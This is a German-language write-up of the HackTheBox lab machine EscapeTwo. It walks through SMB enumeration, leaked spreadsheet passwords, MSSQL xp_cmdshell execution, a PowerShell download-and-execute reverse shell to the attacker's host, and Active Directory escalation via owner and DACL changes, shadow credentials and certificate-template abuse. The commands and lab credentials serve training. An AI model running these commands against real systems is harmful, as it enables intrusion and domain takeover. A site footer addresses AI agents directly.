> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # EscapeTwo HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine EscapeTwo mit Abdeckung von SMB-Enumeration, Informationsleck über Passwörter (zip, Excel-Datei), MSSQL-(Microsoft SQL)-Ausnutzung RCE, BloodHound-Enumeration, mit prakti {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SMB-Enumeration * Informations-Passwortleck (ZIP-, Excel-Datei) * MSSQL-(Microsoft SQL)-Ausnutzung RCE * BloodHund-Aufzählung * WriteOwner CA/\_SVC-Benutzer (Privilegieneskalation) {% endhint %} In diesem Penetrationstest der Windows-Umgebung haben wir die folgenden Anmeldedaten: * Benutzername: `rose` * Passwort: `KxEPkKe6R8su` ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.
**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Mit der Funktion extractPorts werden offene Ports in kompakter Form angezeigt und in die `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` Zwischenablage
Port- und Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```
Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei ein:
### Port 445 - SMB **Den Benutzer mit CrackMapExec validieren** Wir bestätigen, dass der `rose` Benutzer auf dem Domaincontroller (DC) existiert: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```
**Erkundung von SMB-Freigaben** Wir listen die zugänglichen Freigaben mit `--shares` Befehl: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Ergebnis**: Zwei interessante Ordner sind sichtbar: * `Users` * `Buchhaltungsabteilung`
/*/* Verbindung zur SMB-Freigabe mit smbclient/*/* Wir greifen auf **Buchhaltungsabteilung**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` In diesem Verzeichnis finden wir zwei Excel-Dateien: ```powershell get accounting_2024.xlsx get accounts.xlsx ```
**Dateiformat-Erkennung** Mit der `Datei` Befehl stellen wir fest, dass es sich bei diesen Dateien tatsächlich um ZIP-Archive handelt.
**Extraktion von ZIP-Dateien** Wir entpacken die wiederhergestellten Dateien:
**Suche nach sensiblen Informationen** Wir filtern die extrahierten Dateien, um Informationen zu finden, die das Schlüsselwort **Passwort**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```
**Ergebnis**: Eine Datei mit dem Namen `shareStrings.xml` enthält eine Liste von Benutzern und Passwörtern.
VornameNachnameE-MailBenutzernamePasswort
AngelaMartinangela@sequel.htbangela0fwz7Q4mSpurIt99
OscarMartinezoscar@sequel.htboscar86LxLBMgEWaKUnBG
KevinMalonekevin@sequel.htbkevinMd9Wlq1E5bZnVDVo
sa@sequel.htbsaMSSQLP@ssw0rd!
**Anmeldedaten mit CrackMapExec testen** Wir verwenden die wiederhergestellten Anmeldedaten, um Konten zu validieren: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Ergebnis**: Nur der `oscar` Benutzer ist gültig.
## Ausnutzung von MSSQL (Microsoft SQL) **Port 1433 (MSSQL)** Port 1433 ist offen, was darauf hinweist, dass ein Microsoft-SQL-Server lauscht. Wir werden die Verbindungen mit den zuvor wiederhergestellten verschiedenen Benutzern testen.
**MSSQL-Verbindungstest** Wir verwenden `mssqlclient.py` um die Verbindung zu versuchen: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```
**Ergebnis**: Nur der Benutzer `sa` funktioniert. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```
### Reverse Shell über MSSQL **Befehlsausführung aktivieren** Um Systembefehle auszuführen, aktivieren wir `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Wir testen dann mit einem einfachen Befehl, wie `ipconfig`: ```sql xp_cmdshell ipconfig ```
**Vorbereitung eines Listeners auf unserem Rechner** Wir starten einen Listener auf Port 4444: ```bash rlwrap nc -nvlp 4444 ``` **Ein PowerShell-Skript herunterladen** Wir bereiten ein PowerShell-Skript mit dem Namen `PS.ps1` vor, das einen Reverse-Shell-Befehl enthält. Am Ende des Skripts fügen wir die folgende Zeile hinzu: {% embed url="" %} Am Ende des Skripts fügen wir die folgende Zeile hinzu: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Wir hosten dieses Skript auf einem lokalen Webserver: ```bash python3 -m http.server 80 ``` **Ausführung der Reverse Shell** Vom MSSQL-Server aus führen wir den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```
## Pivoting für den Benutzer Ryan **Neue Anmeldedaten entdeckt** Durch das Durchsuchen des Systems entdecken wir ein Verzeichnis mit dem Namen **SQL2019** im Stammverzeichnis. Darin finden wir die folgenden Anmeldedaten: * Benutzername : `ryan` * Passwort: `WqSZAF6CysDQbGb3`
**Validierung der Anmeldedaten mit CrackMapExec** Wir prüfen, ob diese Anmeldedaten gültig sind: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```
Durch die Erkundung freigegebener Verzeichnisse identifizieren wir einen Benutzer mit dem Namen `ryan`. Wir testen dieselben Anmeldedaten wie für `sql_svc`:
**Ergebnis**: Die Anmeldedaten funktionieren auch für den Benutzer `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```
Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```
### Flagge user.txt :)
## Privilegieneskalation ### BloodHund-python-Aufzählung Verwendeter Befehl: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```
## WriteOwner: **Beobachtung :**/ Der **Ryan** Benutzer hat die `WriteOwner` Berechtigung im **CA/ SVC** Konto, das auch der Zertifikatsaussteller ist. Das bedeutet, dass wir den Kontoinhaber ändern können **CA/ SVC** um zuzuordnen **Ryan**.
### CA/\_SVC mit BloodyAD übernehmen #### Änderung des Kontoinhabers {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} Der Befehl verwendet BloodyAD, um den Besitzer von **CA/ SVC** zu ändern und ihn auf **Ryan**festzulegen. Als Besitzer, **Ryan** kann nun die mit dem Konto verbundenen Berechtigungen ändern. ### Berechtigungen mit Dacledit ändern #### Ryan volle Berechtigung gewähren {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Dieser Befehl ändert die **DACL** (Discretionary Access Control List) des **CA/ SVC** Kontos, um **Ryan**vollständige Kontrolle zu geben. Dies erlaubt Ryan, das Passwort zurückzusetzen oder Authentifizierungsschlüssel zu manipulieren.
### Extraktion von Shadow Credentials #### NT-Hash generieren und abrufen {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}
NT-Hash für **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` Das **Certipy** Befehl generiert einen Identifikationsschlüssel für **CA/ SVC**und ermöglicht zertifikatsbasierte Authentifizierung. Außerdem wird eine `.ccache` Datei generiert, die Kerberos-basierte Angriffe erleichtert. ### Änderung der Modell-Zertifikatsvorlage #### Das DunderMifflinAuthentication-Modell anpassen {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}
Dieser Befehl ändert die **DunderMifflinAuthentication** Zertifikatsvorlage, um die Ausstellung von Zertifikaten mit hohen Privilegien zu ermöglichen. ### Ausstellung eines Zertifikats für den Administrator #### Ein Zertifikat zur Identitätsübernahme anfordern {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}
Dieser Befehl benötigt ein Zertifikat im Namen des Administrators (`Administrator@sequel.htb`), wodurch die Identität dieses Kontos übernommen werden kann. ### Authentifizierung als Administrator #### Verwendung des Zertifikats zur Authentifizierung ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```
**NTLMv2-Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```
Dieser Befehl authentifiziert sich als Administrator mit dem zuvor erhaltenen Zertifikat und ermittelt den NTLM-Hash. ### root.txt-Flagge :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.